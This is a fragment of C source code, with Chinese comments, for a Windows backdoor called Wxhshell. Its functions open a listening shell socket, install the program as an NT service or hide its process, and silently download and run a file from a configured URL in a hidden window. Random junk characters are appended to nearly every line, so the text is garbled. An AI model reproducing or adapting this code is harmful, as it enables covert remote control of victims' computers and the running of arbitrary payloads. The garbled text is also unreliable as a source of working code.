} PROCESS_BASIC_INFORMATION; Enqs|fkbN
#6nuiSF
PROCNTQSIP NtQueryInformationProcess; }Hb_8P
sDyt 3xN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +xBM\Dz8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /^, /o
|/!RN[<
HANDLE hProcess; 7'R7J"sY`|
PROCESS_BASIC_INFORMATION pbi; gHVD,Jr
lF)k4
+M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /(Ryh6M
if(NULL == hInst ) return 0; @0iXqM#jH
u(4o#m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V#V<Kz
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c~ Q5A
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I 3dUI~}u
='fN
xabB
if (!NtQueryInformationProcess) return 0; 1|5TuljTd
N0UZ%,h\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IUQYoKz4}A
if(!hProcess) return 0; ~uEI}z
Tnb5tHjnh
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M/jdMfU
u7bji>j
CloseHandle(hProcess); QE`u~
>@q4Uez
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |JTDwmR
if(hProcess==NULL) return 0; Tywrh9[
g715+5z[
HMODULE hMod; "mAMfV0
char procName[255]; VPOp#;"%
unsigned long cbNeeded;
_cQhT
BXLw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kj'
iayxN5,
CloseHandle(hProcess); }K9Ji]tOK:
ybpU?n
if(strstr(procName,"services")) return 1; // 以服务启动 q ?m<9`
zA@w[.
return 0; // 注册表启动 dt(Lp_&v
} #YB3Ug]z
)!d_Td\-
// 主模块 &F|Wk,y
int StartWxhshell(LPSTR lpCmdLine) ou[Wz{
{ :47"c3J
SOCKET wsl; O\^D
6\ v
BOOL val=TRUE; E# *`u
int port=0; dlc'=M
struct sockaddr_in door;
ex)U'.^
B[[1=
if(wscfg.ws_autoins) Install(); !tuK.?q|l
~{!,ZnO*
port=atoi(lpCmdLine); j4Y] 8
qX*Xo[Xp
if(port<=0) port=wscfg.ws_port; ;Dc\[r
o^<W3Z
WSADATA data;
fG|+!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rlx
@wa<nYd
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qnf\K}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bs_rw+
door.sin_family = AF_INET; (.~'\@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =B
ts
door.sin_port = htons(port); j9 &0/
~/
:c0 |w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kg#s<# h
closesocket(wsl); :w:ql/?X
return 1; [3io6XG x@
} V-zF'KI[
qgsw8O&
if(listen(wsl,2) == INVALID_SOCKET) { n]bxG8~t
closesocket(wsl); Ct}rj-L<i
return 1; 3E:+DF-Z\
} r%^XOw<'
Wxhshell(wsl); l
?gh7m_ej
WSACleanup(); t++\&!F
[jgC`
return 0; vQDkZ
u9%AK g}~
} cb9@
0^-
;($ 3,d8
// 以NT服务方式启动 t)b
/c:ql
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6>-Gi
{ +g8uV hC
DWORD status = 0; @RLlkWGc
DWORD specificError = 0xfffffff; 1xMD
)V:
LQ4F/[1}
serviceStatus.dwServiceType = SERVICE_WIN32; rOXh?r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; bv'Z~@<c
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sys;Rz2
serviceStatus.dwWin32ExitCode = 0; mNr<=Z%b
serviceStatus.dwServiceSpecificExitCode = 0; t[x[X4
serviceStatus.dwCheckPoint = 0; 8Nxyc>8K~
serviceStatus.dwWaitHint = 0; *G;D u`;
dV+GWJNNE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LZrkFkiC
if (hServiceStatusHandle==0) return; (JeRJ4
_ +A$6l
status = GetLastError(); 8^"P'XQ
if (status!=NO_ERROR) &}vc^io
{ ;q" ,Bs
serviceStatus.dwCurrentState = SERVICE_STOPPED; >
V%3w7
serviceStatus.dwCheckPoint = 0; r;OE6}L>
serviceStatus.dwWaitHint = 0; aKkY)
serviceStatus.dwWin32ExitCode = status; YX19QG%
serviceStatus.dwServiceSpecificExitCode = specificError;
He)dm5#fg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UQ)7uYQ5
return; ;X[23A{
} R=s^bYdoy
v9vY#W
serviceStatus.dwCurrentState = SERVICE_RUNNING; u"M^qRhD
serviceStatus.dwCheckPoint = 0; [:-o;K\.-a
serviceStatus.dwWaitHint = 0; -Khb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'C\knQ
} LQ=Fck~[r
i+Btz-
// 处理NT服务事件,比如:启动、停止 !FJ_\UST0
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Yf?33UNZ
{ Qv:J#uVw?O
switch(fdwControl) m4kUA"n5
{ ^tKJ}}
case SERVICE_CONTROL_STOP: K9f7,/
serviceStatus.dwWin32ExitCode = 0; %TRH,-@3h
serviceStatus.dwCurrentState = SERVICE_STOPPED; n"Q fW~ U
serviceStatus.dwCheckPoint = 0; [:C!g#o
serviceStatus.dwWaitHint = 0; Xu&4|$wB+
{ MA5BTq<&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?3Dsz
} vCtag]H2@
return; 6d|%8.q1
case SERVICE_CONTROL_PAUSE: >,%7bq=T!
serviceStatus.dwCurrentState = SERVICE_PAUSED; Gm1vVHAxv
break; /4n :!6rt
case SERVICE_CONTROL_CONTINUE: 7A[`%.!F6
serviceStatus.dwCurrentState = SERVICE_RUNNING; &-1;3+#w
break; ,ZLg=
case SERVICE_CONTROL_INTERROGATE: 7T3ub3\
break; kGSB6
}; +k4SN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%)Nn^a;T
} e.IKmH]z
-dn\*n5
// 标准应用程序主函数 )
Pdl[+a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^.9I[Umua
{ s~(iB{-
V5{^R+_)Ya
// 获取操作系统版本 L)o7~M
OsIsNt=GetOsVer(); Fhn=}7|4q
GetModuleFileName(NULL,ExeFile,MAX_PATH); d?/?VooU
e/;chMCq
// 从命令行安装 WurpHOJt+
if(strpbrk(lpCmdLine,"iI")) Install(); 6DG:imGl
bvMa|;f1
// 下载执行文件 eiaLzI,O
if(wscfg.ws_downexe) { $(6 .K-D
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |E)Es!dr
WinExec(wscfg.ws_filenam,SW_HIDE); kMHupROj
} w8Mi:;6
j:9kJq>mv
if(!OsIsNt) { jyt#C7mj-A
// 如果时win9x,隐藏进程并且设置为注册表启动 x^|J-
HideProc(); -m:i~^
u
StartWxhshell(lpCmdLine); *8uSy/l
} Oop;Y^gG}
else =x4:jas
if(StartFromService()) E Cx_
[|3{
// 以服务方式启动 XK
(y ?Y1
StartServiceCtrlDispatcher(DispatchTable); :H$D-pbJ4
else iTt"Ik'
// 普通方式启动 tZ]|3wp
StartWxhshell(lpCmdLine); U3+{!}gn
pCz;km
return 0; hv'~S
}